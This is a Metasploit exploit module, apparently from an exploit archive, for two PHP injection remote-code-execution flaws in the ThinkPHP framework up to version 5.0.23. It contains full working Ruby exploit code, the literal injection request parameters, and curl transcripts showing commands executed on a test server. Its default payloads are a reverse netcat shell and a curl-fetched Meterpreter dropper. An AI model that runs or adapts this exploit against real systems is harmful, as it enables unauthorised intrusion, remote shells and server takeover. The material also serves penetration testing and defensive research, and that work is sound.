ThinkPHP 5.0.23 Remote Code Execution

2020.04.15
Credit: wvu
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'ThinkPHP Multiple PHP Injection RCEs', 'Description' => %q{ This module exploits one of two PHP injection vulnerabilities in the ThinkPHP web framework to execute code as the web user. Versions up to and including 5.0.23 are exploitable, though 5.0.23 is vulnerable to a separate vulnerability. The module will automatically attempt to detect the version of the software. Tested against versions 5.0.20 and 5.0.23 as can be found on Vulhub. }, 'Author' => [ # Discovery by unknown threaty threat actors 'wvu' # Module ], 'References' => [ # https://www.google.com/search?q=thinkphp+rce, tbh ['CVE', '2018-20062'], # NoneCMS 1.3 using ThinkPHP ['CVE', '2019-9082'], # Open Source BMS 1.1.1 using ThinkPHP ['URL', 'https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce'], ['URL', 'https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce'] ], 'DisclosureDate' => '2018-12-10', # Unknown discovery date 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ ['Unix Command', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'} ], ['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :curl, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } ] ], 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) register_advanced_options([ # NOTE: You may want to tweak this for long-running commands like find(1) OptFloat.new('CmdOutputTimeout', [true, 'Timeout for cmd/unix/generic output', 3.5]) ]) # XXX: https://github.com/rapid7/metasploit-framework/issues/12963 import_target_defaults end =begin wvu@kharak:~$ curl -vs "http://127.0.0.1:8080/index.php?s=$((RANDOM))" | xmllint --html --xpath 'substring-after(//div[@class = "copyright"]/span[1]/text(), "V")' - * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > GET /index.php?s=1353 HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/7.54.0 > Accept: */* > < HTTP/1.1 404 Not Found < Date: Mon, 13 Apr 2020 06:42:15 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/7.2.5 < Content-Length: 7332 < Content-Type: text/html; charset=utf-8 < { [7332 bytes data] * Connection #0 to host 127.0.0.1 left intact 5.0.20wvu@kharak:~$ =end def check # An unknown route will trigger the ThinkPHP copyright with version res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => {'s' => rand_text_alpha(8..42)} ) unless res return CheckCode::Unknown('Target did not respond to check request.') end unless res.code == 404 && res.body.match(/copyright.*ThinkPHP/m) return CheckCode::Unknown( 'Target did not respond with ThinkPHP copyright.' ) end # Get the first copyright <span> containing the version version = res.get_html_document.at('//div[@class = "copyright"]/span')&.text unless (version = version.scan(/^V([\d.]+)$/).flatten.first) return CheckCode::Detected( 'Target did not respond with ThinkPHP version.' ) end # Make the parsed version a comparable ivar for automatic exploitation @version = Gem::Version.new(version) if @version <= Gem::Version.new('5.0.23') return CheckCode::Appears("ThinkPHP #{@version} is a vulnerable version.") end CheckCode::Safe("ThinkPHP #{@version} is NOT a vulnerable version.") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super # This is just extra insurance in case I screwed up the check method unless @version fail_with(Failure::NoTarget, 'Could not detect ThinkPHP version') end print_status("Targeting ThinkPHP #{@version} automatically") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper # XXX: Only opts[:noconcat] may induce responses from the server execute_cmdstager else # This is just extra insurance in case I screwed up the info hash fail_with(Failure::NoTarget, "Could not select target #{target['Type']}") end end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") if @version < Gem::Version.new('5.0.23') exploit_less_than_5_0_23(cmd) elsif @version == Gem::Version.new('5.0.23') exploit_5_0_23(cmd) else # This is just extra insurance in case I screwed up the exploit method fail_with(Failure::NoTarget, "Could not target ThinkPHP #{@version}") end end =begin wvu@kharak:~$ curl -gvs "http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id" | head -1 * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/7.54.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Mon, 13 Apr 2020 06:43:45 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/7.2.5 < Vary: Accept-Encoding < Transfer-Encoding: chunked < Content-Type: text/html; charset=UTF-8 < { [60 bytes data] * Connection #0 to host 127.0.0.1 left intact uid=33(www-data) gid=33(www-data) groups=33(www-data) wvu@kharak:~$ =end def exploit_less_than_5_0_23(cmd) # XXX: The server may block on executing our payload and won't respond res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 's' => '/Index/\\think\\app/invokefunction', 'function' => 'call_user_func_array', 'vars[0]' => 'system', # TODO: Debug ARCH_PHP 'vars[1][]' => cmd }, 'partial' => true }, datastore['CmdOutputTimeout']) return unless res && res.code == 200 vprint_good("Successfully executed command: #{cmd}") return unless datastore['PAYLOAD'] == 'cmd/unix/generic' # HACK: Print half of the doubled-up command output vprint_line(res.body[0, res.body.length / 2]) end =begin wvu@kharak:~$ curl -vsd "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id" http://127.0.0.1:8081/index.php?s=captcha | head -1 * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 8081 (#0) > POST /index.php?s=captcha HTTP/1.1 > Host: 127.0.0.1:8081 > User-Agent: curl/7.54.0 > Accept: */* > Content-Length: 72 > Content-Type: application/x-www-form-urlencoded > } [72 bytes data] * upload completely sent off: 72 out of 72 bytes < HTTP/1.1 200 OK < Date: Mon, 13 Apr 2020 06:44:05 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/7.2.12 < Vary: Accept-Encoding < Transfer-Encoding: chunked < Content-Type: text/html; charset=UTF-8 < { [60 bytes data] * Connection #0 to host 127.0.0.1 left intact uid=33(www-data) gid=33(www-data) groups=33(www-data) wvu@kharak:~$ =end def exploit_5_0_23(cmd) # XXX: The server may block on executing our payload and won't respond res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => {'s' => 'captcha'}, 'vars_post' => { '_method' => '__construct', 'filter[]' => 'system', # TODO: Debug ARCH_PHP 'method' => 'get', 'server[REQUEST_METHOD]' => cmd }, 'partial' => true }, datastore['CmdOutputTimeout']) return unless res && res.code == 200 vprint_good("Successfully executed command: #{cmd}") return unless datastore['PAYLOAD'] == 'cmd/unix/generic' # Clean up output from cmd/unix/generic vprint_line(res.body.gsub(/\n<!DOCTYPE html>.*/m, '')) end end


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